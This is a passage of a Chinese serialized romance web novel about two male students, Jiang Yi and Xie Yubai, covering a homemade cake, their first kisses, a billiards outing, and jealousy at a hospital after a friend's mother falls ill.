这小嘴太能说了,江逸捏住他的两片薄唇,“别说了,行不行?你能不能乖一点?” 他的手指跟自动导航似的,往谢逾白耳朵上游走。 手指被攥住,谢逾白冷冷的视线射过来,“少碰我。你爱去哪就去哪。” 不久后,外面传来关门的声音。谢逾白迈腿出去,客厅空无一人,他顺着客厅窗户看下去,周靖泽抱着知知,走到一辆黑色宝马跟前,小姑娘兴奋地跑上车,江逸自然地拉开副驾驶车门。 这副家庭和谐的样子,让谢逾白无比烦躁。 他给李师傅打电话:“给我送一辆100万以内不那么扎眼的车到江逸家小区来。” 李师傅:“少爷,您家车库里面没有,最便宜的286万,可以吗?” “现在去买。” “少爷,新车上牌需要时间。” “先把286万的开过来。再买一些我要的家具家电送过来。” 江逸回到家的时候,差点没敢认家门,几位工人围在门口,时不时有人搬着沉重的箱子往里面搬。 这是什么情况?他走到客厅吓一跳,厨房的冰箱换新了,卫生间的热水器浴霸换新了,连马桶也换新了,次卧换了床,主卧换了一张大床。 谢逾白穿着家居服正在弯腰套四件套,看样子有点费力。 “你对我家做了什么?” “我忍了很久了,希望你理解,热水器洗澡温度总是跳来跳去,洗不久就冷了。” 江逸笑了几秒,肩膀抵着墙面发颤:“热水器的显示屏坏了,我洗澡比较快,水温调得不高,40度,热水用完了,就变成冷水了。” “你怎么把我家东西换了,也不跟我商量一下?” “怕打扰到你们一家四口。” 江逸被噎了一下,想摸谢逾白的额头,被躲开,“你还发烧吗?” “我痊愈了。” 江逸第一次见到感冒好得这么快的人,看来谢逾白一身肌肉没白长,体质挺好的。 来到厨房,江逸准备做饭,看到桌子上摆着个草莓小蛋糕,尺寸不大,模样质朴,草莓看上去超大个,用料扎实,蛋糕整体的感觉有点奇怪。 谢逾白递过刀叉,“吃吧。” “你出去买蛋糕了?怎么选了一个样子这么傻的?” 谢逾白神情僵了僵,“你尝尝味道。” 江逸切下一块,里面的夹层有点不平整,切面有的地方三层,有的两层,他蹙着眉吃一口,味道不那么甜腻,入口香甜绵软,只是有一块蛋糕坯子焦了,“你在哪买的,下次别去了,糊了还卖给客人。” “知道了。”谢逾白略微垂着头,坐在餐桌旁,一口一口,优雅地吃着蛋糕。他其实不喜欢吃甜食,今天的蛋糕尤其难以下咽。 “你别吃蛋糕了,我给你煮饺子吃,二姨包了饺子,猪肉白菜,牛肉圆葱,你吃哪种?” 谢逾白语气沉淡:“我只吃蛋糕。” 江逸煮好了饺子,谢逾白已经回了房间,在做物理竞赛题。 他把蛋糕外壳折起来,视线忽然看到包装上面的几个字,甜爱DIY蛋糕店。DIY? 江逸心里咯噔一声,怪不得这蛋糕这么奇怪。谢逾白自己做的? 他隐约记得谢逾白不爱吃甜食,为什么特意去做蛋糕? 那天的对话回响在他脑海里,他告诉谢逾白小时候自己过生日没有生日蛋糕。江逸心中酸胀,谢逾白不缺钱,别说买蛋糕,买蛋糕店也不在话下,他竟然傻傻地自己去做蛋糕? 即使被挑剔做得不好,大少爷竟然没发脾气? 从他拖地,装被罩,多种事情能看出来,谢逾白的动手能力很差,他应该可以预估自己做蛋糕也做不好,他仍然选择去做了。 江逸难以形容此刻自己的心情,酸涩,悸动,动容,他倚在门框上,静静注视谢逾白做题的侧脸,很专注,沉静。 以前他怀疑过,一个大少爷,天之骄子为什么会喜欢自己,他的喜欢到底有多少,是消遣吗?以江逸的生活现状,没有精力陪他玩。 这一刻,江逸开始相信,或许,谢逾白正在全心全力地付出真心。虽然有时候他的行为偏激,行动笨拙,那颗心却是真诚的,炽热的。 谢逾白在付出他认为重要的东西给自己。 江逸胸腔里的心跳随着谢逾白的笔尖,加速了跳动。 江逸忍住没打扰他,回到餐厅,拿起叉子,一口一口吃着蛋糕,没烤焦的地方,味道很好。 谢逾白拿着书,来厨房倒水,端着水杯喝水,“你不是说蛋糕味道奇怪,怎么又吃了?” “那个……因为,见你吃得香,我又尝了一口,不焦的地方,我发现很好吃,吃上就停不下来了。” 江逸眼神偷瞄了谢逾白一眼。他穿着黑色家居服上衣,很有质感的V领,锁骨支棱着,清瘦俊逸。 “给我尝尝看?”谢逾白坐在餐桌对面,眼神看着蛋糕,“叉子在你那边,你喂我吃一口。” 江逸看了看手里的透明叉子,特意站起身找了新的叉子,叉起一块蛋糕送到谢逾白嘴边,谢逾白若有所思地看着他:“我有病毒?不能跟你用一个叉子?” 江逸呼吸一紧,随后笑了笑:“我担心你嫌弃我。” 谢逾白眼睑一掀,“我嫌弃你?还是你嫌弃我?” “吃蛋糕堵不住你的嘴?”江逸把叉子往他嘴里送,速度快了点,叉子叉到了他的下唇。 谢逾白脸色不悦:“你故意的对不对?总想害我。” 江逸看着他薄薄的一片嘴唇,开开合合,唇角沾染了一小块奶油,江逸睫毛快速眨了眨,走到他旁边,一只手捏着谢逾白的下颌往上抬,一只手在他嘴角反复摩挲,蹭掉了奶油。 他琥珀色的眼眸映着厨房的灯管,晶莹缱绻,眼里温柔似水,手指从蛋糕上挑起一块奶油,抹在谢逾白的唇上,又挑起一块,抹在他的脸上,乐此不疲地用手指划过他细腻光滑的皮肤。 被他掐着下巴,谢逾白无心反抗,闻着他身上淡淡的阳光般的暖香,看着他在自己脸上涂涂抹抹,谢逾白想亲他,“你有完没完?幼不幼稚?” “谢逾白,你长得真好看。” “你第一天发现?两年多不看我一眼。” 江逸抽出柔软的纸巾,一点点把奶油擦掉,看着他漆黑幽深的眼,“现在也不晚。” “今晚要亲耳朵吗?谢逾白。” “能不能亲这里?”谢逾白拉着他的手指抚摸自己的下唇,残留着一些黏腻。 “好。”江逸拇指指腹来回刮蹭他柔软细腻的唇肉。 “你说什么?”谢逾白瞳孔放大,满眼震惊。 “我说,今晚我要跟你接个吻。” 第24章 “接吻啊? 江逸靠在墙上看着谢逾白, 看他穿梭在卧室跟浴室,刷牙,洗澡, 又刷了次牙。 “我还要等你多久?宋越已经等我半个小时了,你还去不去?” 江逸手机又响了:“越子,我过去,我在等一个朋友,你们先开始,不用等我。” 谢逾白收拾妥当, 长款黑色呢大衣垂到小腿, 修长笔挺像株青松。白色衬衫搭浅灰毛衫,时尚的叠穿风格。 他眼窝深沉, 睫毛密长, 清冷俊朗。 江逸看他跟个男模似的, “你确定要穿成这样跟我出门?” “不好看?” “……好看。”只是跟他要去的地方格格不入。江逸把到嘴边的话吞了回去, 如果再让谢逾白回去换衣服,可能又要一个小时。 下了楼, 他拿着摩托车钥匙, 谢逾白拉住他的手腕, “我车在这,我们开车去。” 谢逾白按了一下车钥匙,一辆红色玛莎拉蒂车灯亮了。他瞬间石化,他疏忽了,车库里最便宜的车,是谢雪姚的车。 “我们开这辆车?”江逸看了看红色拉风的车身,再看看自己的摩托车,第一次觉得他的摩托胜出了百万豪车。 谢逾白镇定道:“不行?” “你搞什么?” 寒风瑟瑟, 江逸看着眼前敞着大衣,感冒刚好的人,拉开跑车副驾驶车门,“行,走吧。” “等等。你来开车。”谢逾白递过来钥匙。 “为什么?这么贵的车,我不想开,出个意外不少钱。” “只能你开。”谢逾白拢了下外套,在外面只站了一会儿,他耳朵就红了,“我没有驾照。” “没有驾照?你?”江逸万万没想到,他像被什么戳中了笑穴,笑弯了腰,“没有驾照,你把车弄过来干什么?” “你有完没完?我没有驾照而已,有那么好笑?” 江逸笑出了眼泪,“谢逾白,你有好几辆豪车,怎么会没有驾照?” “我有司机。” 他赢了,“行,我开,你真能给我找乐子。”江逸坐进驾驶位,他的腿长,空间不大,有点别扭,他转头看谢逾白,一双长腿更是放不下,看着怪可怜的,“你去后面坐,舒服点。” “我要坐这里。” 少爷,就是任性。熟悉了一会儿车,江逸顺利把车开上路。 他们来到台球厅,宋卓,宋越等人早等着了。 宋越迎上前:“你们来了,等了好久了,干什么去了?” 江逸看了谢逾白一眼,“没什么,路上堵车了。” “快上场,你再不来,我们就要输了,赌注可不小。” 台球厅里光线昏沉,秦绍刚打进红球,见江逸懒洋洋地倚着球杆,视线扫过台面,像在看什么无关紧要的玩意儿。 “该你了,兄弟,交给你了。”宋越推了他一把。 江逸随手把球杆转了个圈,他运杆时胳膊随意搭着,出杆那一下很有味道,母球擦过红球,撞向彩球,“咔嗒”两声,两颗球先后落袋。 一看就是行家。 “漂亮!”宋卓握拳。 下一局他打得更随性,后腰弯出流畅的弧,膝盖抵着台面,有点炫技在里面。 他一边打球,一边跟宋越说笑,眼角眉尾扬着,表情鲜活。 谢逾白坐在卡座里,看着他打完球随手把杆扔给宋卓,看着他仰头灌可乐喉结滚动的弧度。 谢逾白看到宋越揽着江逸的肩膀,消失在后门。 宋越掏出烟盒,“来一根?” “成。” “知知上学的事进行得怎么样了?” 江逸拨动打火机,“本来挺顺利,周靖泽安排得差不多了,找时间去户籍处过户就行。” 宋越问:“但是?” “出了点问题。”江逸点燃了烟,眉目在烟雾中模糊了一些。 “跟谢少爷有关?” 江逸笑了两声:“你怎么不去当警察?洞察力不错。” “你什么时候带过人跟我们见面,你跟他认真的?”宋越从来没见过江逸这么对待一个人,这么多年,江逸长得出类拔萃,不谈恋爱,不滥玩,是个进退有度的人。 江逸刚空出脑子想这个事,“我看起来很认真吗?” “不然呢,出来打个球都带着。” 上午出门看小学就没带,晚上再不带,少爷不得发脾气?想到这,江逸笑得眉眼舒展。 “不像你会做的事。”宋越一如既往提醒道:“你跟他,有难度。” “云泥之别?一个天上一个地上?” 宋越叹气:“你知道我不是这个意思,只是陈述事实。” “放心吧,我心里有数。” “阿逸,感情的事不好玩,别陷进去。他家和他本人不简单。”虽然谢逾白对他有恩惠,一码归一码,“作为你的铁哥们,我必须提醒你。你到底为了什么?” 江逸明白他的意思,“你觉得我们根本没有未来,是不是?你以为我不知道?” 他吸了一口烟,不是特别适应,“偶尔,我想放纵一下,想要的好东西,短暂地拥有也挺好。” “他知道吗?” “找机会我会跟他说。” “你这么做,不明智。” 江逸回:“不明智,但舒坦。人一定要做对的事?不能做出格的事?如果我的人生我才是主角的话,哪怕只有一次,我想随心所欲。” “这段感情对我来说就像赌博,愿赌服输,万一赢了呢?” “江逸,你知道,赌博本身,就是你输了。”宋越弹了弹烟灰,“我是不是给你找不痛快了?” “没有的事,我喜欢你跟我实话实说。身份互换,我也会这么说。” “还有一件事,前几天我买了个静安小学学区房,如果周靖泽的房子你不用,可以用我的。”宋越答应谢逾白的事,就要办到。 “真的?你太厉害了,看来酒吧运营不错。” “还好。” 等了好一会儿,人还没回来,谢逾白推开后门,看到宋越跟江逸并排站着,吞云吐雾谈笑着。 宋越见他出来,对江逸挑了挑眉,“我先进去了。”他讪讪地对迎面而来的谢逾白笑了笑。 江逸昂着头,下颌到脖颈的弧度优美,他靠在暗红色砖墙上,指间夹着支烟,火光明灭。 他仰头吐了个烟圈,烟圈被夜风扯散。 月光落在他半边脸上,俊秀眉眼笼着层懒怠的颓唐,和方才在球桌前的恣意判若两人。 “好学生,”他瞥见谢逾白,声音有点散,“外面这么冷,你出来干什么?” 谢逾白站在几步外,大衣下摆被风掀起个角,他望着江逸指间的烟,“找你。” 江逸低低笑了声,唇角挑了下,掐了烟往身后墙上碾了碾,对着他的方向勾了勾手指。 谢逾白迈腿靠近,江逸扯住他的衣领,稍一用力就把人按在了墙上。 谢逾白的后背撞在砖面,江逸的脸贴得极近,唇角勾着,脸上没半分正经,张口就往他脸上喷了口烟。 “找我干什么?”江逸眼尾微挑,声音压低,“接吻啊?” 谢逾白的睫羽被烟味呛得颤了颤,黑瞳里映着江逸的脸,怔愣地看着他。 江逸眼尾扬着,琥珀色瞳孔剔透,干净的底色裹着漫不经心。 江逸夹着烟的手往旁边一扬,手指扣住他后颈,淡淡烟草味的唇压了下来。 湿热的唇瓣厮磨着他的唇肉,荷尔蒙混着烟味钻进谢逾白的呼吸里。 谢逾白浑身一僵,心跳失序,呼吸都忘了。他看到江逸没闭眼,睫毛半阖着,眼眸波光流动。 江逸的舌探了进来,软滑的,微凉的,强势打开他的齿关。 谢逾白的反应是僵硬的,江逸灵活的舌勾住他的,带着他一起厮缠。 他们彼此十分契合,谢逾白追着他软滑的舌,整个口腔像有了生命力,美好的触觉,着迷的味道。贴近的身体,密不可分的距离,谢逾白无比投入,感觉自己没有丝毫的抵御力。 台球厅里隐约传来喧闹声,后门的角落静得很,只剩下两人错乱的呼吸。 谢逾白的脸一路红到耳根,脖颈泛着薄红,他被这吻烫透了。 他想象过几次江逸的吻,真实的吻带来的震撼要比想象激烈好多倍。 谢逾白感觉自己好像从悬崖上,一路往下跌,失重的感觉,失控的无助,被江逸的动作牵引着。 从喜欢上江逸的那一刻,他注定要去冒险。 爱也疯狂,恨也张扬。能带给他强烈爱恨的人,是眼前的人。他逃不掉,躲不了,忍不住,就此沉沦。 跟心爱的人接吻,是极致欢愉,爱欲,渴求,人间贪恋。 江逸的呼吸烫在谢逾白耳廓上,混着烟草气漫进耳道,把红得发颤的皮肤烘得更烫。 软滑的舌卷住他那点凸起的耳骨,慢慢舔舐,湿热的触感缠上来。 江逸牙齿磕了磕耳骨,软舌钻回耳后凹陷处,缓缓碾压。 谢逾白耳廓被舔得泛潮,后颈的筋骨绷紧。 江逸牙齿不轻不重地咬他的耳际。 “学霸,”江逸的声音暗哑,气音拂过他的耳廓,“你还挺甜。” 第25章 “你裸睡?” 到了家, 谢逾白坐在书桌前,足足半个小时,一动没动, 心里的浪潮一波接着一波。 眼前的物理题平日里应对自如,此刻截然不同,怎么也不往脑子里进。 江逸敲门,单边身体靠在门框上:“你用不用洗手间?我要去洗澡了。” 谢逾白垂着眼眸,“不用。” “都回家了,你怎么还不换衣服?”江逸见他外套脱掉了, 穿着白衬衫加灰色毛衣, “换了吧,屋里20多度, 你不热?” “嗯。” “我刚刚烧了热水, 你喝自己去倒。” “嗯。” “厨房有草莓, 你吃吗?” “嗯。” 学霸学习就是认真, 跟个机器人似的,什么都说嗯。 江逸刚洗完澡, 他套着件宽松的白色棉T, 领口被水汽洇得半透, 肩线顺着宽松的衣料往下收,腰背清瘦。 黑色运动短裤裹着劲瘦的腰,裤腿盖到大腿根,露出的两条长腿白皙似玉,膝盖骨圆润,流畅的小腿线条。他赤着脚踩双拖鞋,脚踝纤细。 江逸唇角松散地勾着,“你怎么还不换衣服?看书尽量不要熬夜, 十一点多了,洗漱睡觉吧。” 他手里拿着四件套,掀开床铺。 谢逾白拿起家居服:“你在做什么?” “看不出来?你床单上有一块污渍,应该是昨晚洒的感冒药,我给你换下去。”江逸的动作娴熟,扯下枕套。 江逸跪在床上的姿势很稳,膝盖压着床单,黑色短裤边缘往上缩了缩,露出一小截白皙的腰侧,一层薄薄的肌肉随着俯身的动作起伏。 他扯着床单边角往回带时,身体往前倾,白衣下肩胛骨的轮廓若隐若现。 谢逾白的脚步在门口顿住,视线落在被江逸腰侧勾住,白得晃眼的皮肤绷着层薄肌。他喉间发紧,抿了抿唇,发现自己忘了呼吸。 耳后不知何时漫上热意,他后知后觉地绷紧脊背,躁意顺着尾椎骨往上爬。 江逸整理到床尾,他半跪起身,一条腿屈膝撑着,另一条腿伸直,小腿肌肉绷出好看的线条,短裤顺着大腿根往下垂了点,露出半截紧实的大腿。 他铺完四件套回头,看到谢逾白仍然站在门口,眼神游离,他打了个哈欠,拍了拍谢逾白的肩:“你不困吗?还不快去?” 顺着他的力道,谢逾白身体倏然向后,后腰磕在门把手上,他痛到眉棱拧起,闷哼一声。 “你怎么了?你大惊小怪的干什么?”江逸绕到他身后去,“让我看看你磕得怎么样?” 谢逾白后背贴着墙,微微弓着身体,“我没事,不疼,你回房间去。” “给我看一眼。”江逸发现他身体紧绷,额角微微出汗,不像没事的模样。 他绕到谢逾白身侧,一个用力,把人后背转了过来,白衬衫从裤子里面撩起,江逸一手扶住他的腰,一手划过他的后背皮肤,没看到什么,把他的裤子往下拉了拉,裤腰卡在胯处,看到了右边腰侧淤青了一块。 “没什么事,过两天能下去。”江逸发现谢逾白的情况不太对,一直维持这个动作。 “可以了,你去洗漱吧。” 谢逾白还是没动,发梢遮住他的眉宇,唇线拉直,呼吸微微费力。 江逸扶在他腰上的手带着湿意,电流似的,让他后脊发紧。 他僵着不动,江逸划过后背留下的触感发烫,腰侧的淤青被热意焐得发疼,奇异地混着说不清楚的麻痒。 他的视线落在江逸露在短裤外的脚踝上,沾着水珠,顺着白皙的皮肤往下滑,谢逾白觉得那水珠像是滴在了自己心上,烫得他身体深处莫名涌起股燥热,逼得他要喘不过气。 江逸发现了他的异常,“有那么疼吗?”他扶着肩膀把人扳过来。 谢逾白脸色微红,下唇被牙咬着,被涌上来的血色染透。 江逸眼神一顿,视线慢慢往下滑,看到某处,眼尾微微挑了一下。 谢逾白身体侧过去,“我去洗澡了。” “等等。”江逸好笑地弯唇,从后面抱住他的腰,“你刚才不急,这会儿急什么?” “很晚了。” “谢逾白,你回家以后,刷牙了吗?” “还没有。” “今晚我亲你,有烟味,你这么洁癖,怎么不一到家就刷牙?” 谢逾白没想到他会堂而皇之地谈论这件事,面上有些挂不住,“……我一般睡前刷牙。” “你喜不喜欢我亲你?” 谢逾白的耳朵发烫,“嗯。” “少跟我嗯,喜欢还是不喜欢?” 谢逾白喉结动了动,“喜欢。” “再亲一个?” 谢逾白心脏忽悠了一下,嗓子干痒,“现在?” “对。”江逸从后面抱住他的姿势,唇瓣往他侧颈贴,谢逾白肩膀微微耸动,一动不敢动。 “你转过来。” 谢逾白喉结吞咽,微微侧头,唇贴上微凉的唇。 江逸皮肤白得透光,嘴唇红得鲜明。他眼底带点直白的笑意,看着谢逾白。 江逸唇珠反复碾过他的唇线,磨得他下唇发烫。 谢逾白唇瓣绷紧,江逸微微张口,湿滑的舌探进去,扫过他的齿根。 江逸稍一用力,把人转过来。两人胸口贴在一起,江逸锁骨抵着谢逾白的衬衫。 感觉到他的僵硬,江逸卷住他的舌头慢慢厮磨,用唇瓣含住他的下唇,咬了一下。 谢逾白脊背发麻,皮肤烫得厉害。他尝到江逸唇齿间的清甜混合薄荷气味,漫进喉咙里。 江逸的每一次碰触,足够让他颤抖,发狂,只能全力克制着,承受他的挑逗,爱抚。 江逸满意地舔了舔唇角,眼神留恋地看着谢逾白英挺的面容,他身上有种清爽的韧劲,亲密接触的时候,带来灵魂上的爽感,“谢逾白,你挺好亲的。” 他拍了拍他的后背,“去洗澡吧,洗干净点。” * 江逸睡梦中,迷迷糊糊的口渴,想起来倒水,睁开眼,眼前一团黑影,“啊!什么东西!”他吓了一跳。 黑影开口:“是我,你别喊。” “谢逾白?你大晚上不睡觉,在我房间做什么?” 谢逾白的身影在暗影里,距离他不远,静静坐在椅子里。 江逸骂了一声草,看了眼床头的手机,凌晨三点半,“你不睡觉,来我房间静坐,你给我个解释。” 他想起身倒水,被子掀开一半,又盖了回去,“你一声不吭装什么哑巴,我被你吓出心脏病,你负责吗?” “我负责。” “你怎么负责?” “把我的心脏挖出来给你。” 大晚上的,这对话血淋淋的,“你到底要干什么?”江逸没什么耐心了。 “我明天出发,去京市,参加全国大赛的集训。” 这件事早就定了,江逸知道,“去几天?” “28天,中间休息一天,我可以回来一趟。” “就一天,你来回跑什么,集训结束一起回来。”江逸眼睛干涩,揉了揉,“明天出门,你不好好睡觉,深更半夜来我房间?” 谢逾白静默不语。 江逸最烦他这种有话不能痛痛快快说的样子,“你过来坐。” “快点过来,别让我下床拽你。” 谢逾白走过来,看着他的脸,“我坐哪里?” “当然是我床上。” 谢逾白犹豫,眉心沉着。 “又不是没睡过一张床,你装什么?昨天亲你的时候,没见你这么矜持。” 谢逾白抿紧唇,漆黑眼瞳沉沉,江逸蹙眉看着,“你有话就说,别憋着。” “上次我去参加省考,你从不联系我。” 江逸抓抓头,“你也没联系我。” “我在等你。” “没接受到你的信号。” “这次,你会联系我吗?” “你大晚上不睡,为了这事?这算什么事?不能明天早晨说?”江逸嗓子干到不行,“我口渴,你给我倒杯水。” 谢逾白起身去倒水,眼神在他裸露的肩膀锁骨上梭巡一圈。 江逸咕咚咕咚大口喝水,“你想想,你去准备物理考试,我天天给你发消息,这事恰当吗?” “有什么不恰当?我在你家备考,我们每天在一起,说很多话,分开了为什么不行?” 以前有人抱怨过,江逸这人,见面的时候话比较多,不太喜欢冷场,一旦分开,有点高冷,很少主动发消息。 大半夜的,江逸每次缺觉,第二天一定会偏头痛,“你想怎么样,你直接告诉我,我照做。” “我希望你多联系我,不要我一离开,就很冷漠。” 江逸想笑,全班最高冷的人,好意思说他冷漠,“接下来两周,篮球比赛很密集,我们训练紧张,月考要开始了,我可能比较忙,除了训练跟比赛,我手里没有手机,其余时间我看到你的消息第一时间回复,行不行?” “行。” “你回去睡觉吧。” “我失眠,之前睡着了,现在不困,你先睡,我自己坐着就行。” 有个人在房间静静看着自己睡觉,江逸很难入睡,看着他因为分离有点不安的样子,说不出来赶他走的话。 江逸语气有些不自然,“你去衣柜里递我一件衣服,还有……一条内裤。” 谢逾白神情古怪地看着他,声音有点紧,“你裸睡?” “我没想到,你会大半夜过来!” 谢逾白转身走向衣柜时,脚步发沉,把上衣跟内裤放在床边,转过身背对着江逸,听见身后窸窸窣窣穿衣服的身体。 “你过来。”江逸坐在床上,双腿屈起。 谢逾白沉默地坐在床边,看着窗外朦胧的月光发呆。 江逸抚摸他的侧脸,“你啊,每天得找点事,安生日子一天也不想过,是不是?” “你说什么?” “你上床,我们一起睡。” “我睡不着。” “你试试,我抱着你。” 谢逾白侧着身体,脸面对窗外,身后的人手臂放在他的腰上,脸颊贴着他的后背。 谢逾白身上的味道很干净,几乎没什么气味,体温温热。 “别担心了,20多天很快就过去了。” “因为你不在意,所以觉得快。” 江逸好困,眼皮不住地打架,“乖一点,快睡吧。” 江逸的呼吸均匀,手臂搭在谢逾白腰上,脸颊贴着他后背,鼻息带着点温热的湿气。 谢逾白僵了许久的身体松下来,缓缓转过身。 江逸睡得沉,脸部轮廓清隽白皙。 谢逾白屏住呼吸,碰了碰他的嘴唇,比白天亲吻时更软,摩挲着唇线,触感软绵绵,肉嘟嘟的,颜色艳红。 他犹豫了很久,低下头,唇瓣碰了碰江逸的嘴唇,一触即分。谢逾白心跳得太响,他停了停,吻在江逸的鼻尖上。 他的薄唇落在江逸的眼尾,江逸在梦里动了动,发出点模糊的气音。 谢逾白立刻僵住,等了几秒。 他侧过头,鼻尖抵着江逸的颈窝,深深吸了口气,很清澈的味道,混着点沐浴露的清甜,江逸身上温热的体温,像晒过太阳的棉花,软乎乎地裹住他。 他的手指回到江逸的嘴唇上,按了按,谢逾白闭上眼,薄唇在黑暗里弯起淡淡弧度,心中充满隐秘的欢喜—— 作者有话说:更新时间18:00[黄心],小可爱们,专栏预收文求收藏,[害羞] 第26章 我们继续亲。 老旧的小区上空飘着漫天白雪。 周靖泽把脸埋进灰色围巾里, 原本俊朗的脸暗淡无神。 “怎么了?大雪天,一声不响跑这来了?”江逸看他的模样,肯定发生了什么不好的事。 “我妈妈刚查出了乳腺癌, 晚期。”周靖泽眼神沉哀。 江逸倏然睁大了些,“医生怎么说?” “化疗,但机会不大,发现太晚了,阿逸,她平时看上去那么强大, 那么坚强, 我压根没想到她会生病,她才50岁。我以为她会一直陪着我。”周靖泽脸上全是泪痕。 江逸感觉他快碎了。 周靖泽往前靠了一步, 表神无精打采, “我是不是太无能了?什么也不帮不上她, 她如此辛劳, 才会生病。” 江逸拍了拍他的肩膀:“靖泽,从今天开始, 你是家里的顶梁柱, 你不能被打倒, 你知道吗?现在的医学技术,癌症并非不可治愈,你要有信念,尽全力。” “我妈妈本人不想治疗,我大姨是癌症去世的,治疗到最后遭了很多罪,人瘦到脱相。” “治疗方案你们自己决定,答应我, 你要坚强起来。别留遗憾。” 周靖泽此时无比贪恋江逸的温暖,安稳。 “跟我上去,这里气温太低。” 周靖泽摇头:“我要赶回医院,路过跟你说几句话。” 看着他脸上交错的眼泪,江逸心中难过,“我跟你去医院。” “暂时不用,我妈妈那人你知道,强了一辈子,家里的亲戚朋友还不知道她生病的事。” 江逸望着他的背影,心中无限感慨。 江逸爸爸出事以后,为数不多仍然没有戴有色眼镜看待江逸的人,包括周靖泽和他妈妈。 江逸觉得自己不能袖手旁观,虽然微不足道,也要尽一些心意,他去了菜市场,买了食材,回家煲鸡汤,做了几道小菜,送到医院。 周靖泽坐在医院外面的长廊座椅上,头埋进双手,身影颓败。 江逸坐在他身边:“你吃饭了吗?” “吃不下。” “我做的菜清淡,你简单吃点。你需要能量。” 周靖泽一口东西也不想吃,但对上江逸温暖的眼眸,他接过饭菜,麻木地吞咽着。 江逸兜里的电话震动,他忽略了一次,继续震动,有他不接一直拨打的架势,“你先吃饭,我去接个电话。” 听筒里传来沉沉的声音:“已经放学了,你为什么不接电话?” “刚刚有点事。” “什么事?” 江逸看了看不远处,看过来的周靖泽:“现在不方便详细说,等我回家再告诉你。” “你在哪?” “市医院。” “你出事了吗?受伤了吗?”谢逾白的声音明显焦急了。 “不是我,周靖泽的妈妈。” 谢逾白呼出一口气:“好,你到家了给我消息。” 江逸回到长廊,一位护士跑了出来,神情急切,“谁是秦霜的家属?她现在情况危急,需要紧急进入手术室!” 周靖泽眼神慌乱,手脚发麻,“我、我是。”他的手一直抖,在需要签字的单据上,拿不住笔。 江逸的一只手握住他的手,稳稳地在单据上签下名字。 手术室的灯光亮起,周靖泽急得团团转,这种情况他根本没有能力面对医院的这些突发状况,江逸陪了他一整晚。 早晨九点,周靖泽想起来,江逸已经在这里熬了一晚上,“你回去吧,我送你出去。” 两人走出病房,周靖泽一阵咳嗽,江逸拍着他的后背,周靖泽神情哀痛,让人于心不忍。 临走之前,江逸提醒他:“无论你有什么事,第一时间给我打电话。” 周靖泽眼眶发红,握住他的手:“谢谢你,阿逸,我知道你最近很忙,有篮球比赛,马上月考。” “再忙我也会过来。”知知刚来的时候,是周靖泽帮我熬过来的,他同样会陪着周靖泽。 江逸:“回去吧,阿姨身边只有你。” 周靖泽的身影刚消失在楼梯处,不远处传来不小的响动,什么人拎着一袋子橙子“吧嗒吧嗒”掉在地上,有两颗滚到江逸的脚边。 江逸顺着橙子的方向,看到了一张冷淡清俊的脸,谢逾白?他不应该在京市吗? 谢逾白一动没动,手里拎着各种补品,一双漆黑眼眸里的光一点点往下沉,沉进不见底的深渊里。 江逸嘴唇动了动,“你怎么来了?” 谢逾白丢下极品,转身大步离开。 看着他决绝的背影,江逸才想起来,刚刚他跟周靖泽距离很近,谢逾白看到了? 以他的心理承受程度,估计受不了了。 江逸向前几步,跑着追上去,跑出医院两百米,拉住谢逾白的手腕。 “松手。” “你听我解释,周靖泽的妈妈生了很严重的病。” “江逸,我不傻,生病我不理解?生病需要你来安慰他,医院才能治疗?”谢逾白眼里裹着化不开的疼,周遭的光都被吸了进去,只剩一片灰暗。 “你冷静一下,先别激动。” “非要我戳破你?你心疼他有什么不能承认?我会留下来碍你的眼?你太小看我了。” 江逸看着他风尘仆仆的样子,肩膀上全是雪花,浓密的黑发里也是雪花,黑色大衣被雪水晕染:“你怎么来的?司机呢?” 谢逾白的穿衣风格一向注重美感,在这样寒冷的天气,江逸不想跟他吵,不想重复上次他在路上疯走,最后发烧的经历。 见他不肯正面回应,谢逾白气不打一处来,转身继续走。两人路过一片树林,枝桠上挂满了雪霜。 江逸握住了他的胳膊,把他推到树干上,夜晚,周围几乎没什么人,路灯的光线暗黄。 他握住谢逾白两只手,他修长的手指冻得泛着通红,江逸解下黑色围巾,想给谢逾白戴上,被偏头躲开。 谢逾白的表情僵硬,眉棱竖起:“别碰我。” 江逸把围巾套在他后颈,看着他根根分明的眼睫,漆黑瞳孔像浸了冰,冻住了所有光,他的手拽着围巾的两端,把人拉了下来,江逸的唇擒住了他的。 江逸的吻来得迅疾,带着雪夜的寒气。 谢逾白的唇被撞得发麻,齿间尝到微涩的疼,他偏头想躲,江逸拽着围巾往回带,唇齿彻底被缠住。 谢逾白的手攥成拳,指节冻得发僵。睫毛上的雪花化了,水珠顺着眼尾往下滑,一半是雪水。 江逸滚烫的气息往里钻。 谢逾白的身体绷着,后背抵着覆雪的树干,寒意从衣料渗进来,身前的热度裹得无处可逃。他能闻到江逸身上的淡淡气息。 江逸感受到他的软化,用舌慢慢厮磨着他的唇内侧。呼吸交缠在一处,在冷空气中凝成白汽,很快散开。 江逸吻到他唇角发颤,鼻尖蹭过他冻得发红的脸颊。 谢逾白漆黑的瞳孔里不再是全然的冰冷,映着江逸的脸,有了点晃动的光,他用手背擦了下被亲到湿润的唇,语气烦躁:“你干什么?” 围巾还攥在江逸手里,他再次把人拉下来,手臂勾住他脖颈,“谢逾白,你愿意在这里亲,还是回家亲,选一个。” 他眼神有种崩裂感,声音冷寒:“你还敢?” 江逸一只细白的手快速抚摸上他的耳朵,在敏感的耳垂上扯了一下,“我有什么不敢?”江逸眼神暧昧地看了一眼他的裤子,“你很享受,不是吗?” “刚刚接吻的时候,你就有感觉了。” 谢逾白脸上阴晴难测,恼羞成怒:“你在逼我。” 他的后颈被勒到发疼,脑袋往下垂,江逸红得发亮的唇瓣近在眼前,谢逾白不受控制地脸红心跳。 江逸盯着他被亲得泛红的薄唇,用牙尖咬了一下。清晰的触感,谢逾白浑身一僵,江逸又咬上来,用了点力,在他下唇留下浅浅的牙印。 “唔……”谢逾白的呼吸沉重,后颈被勒得更紧。 江逸的吻接二连三落下来,牙齿一下下磕在他的唇上。 他的唇被磨得发烫,偶尔渗进点淡淡的血腥味,混着江逸的呼吸。 江逸察觉到他的默许,动作更放得开,牙齿撕开唇瓣的力道加重,软舌趁机闯进去,带着狠劲卷住他僵硬的舌,来回厮磨。 谢逾白在江逸又一次咬上他下唇时,无意识地往前倾了倾。 江逸牙齿碾过唇肉的频率加快,从轻咬变成近乎失控的啃噬,下颌线绷出用力的弧度。 唇被啃得发麻发疼,疼里裹着奇异的热,顺着喉咙往下烧。 谢逾白的心跳撞在胸口,急而重,像要跳出来。 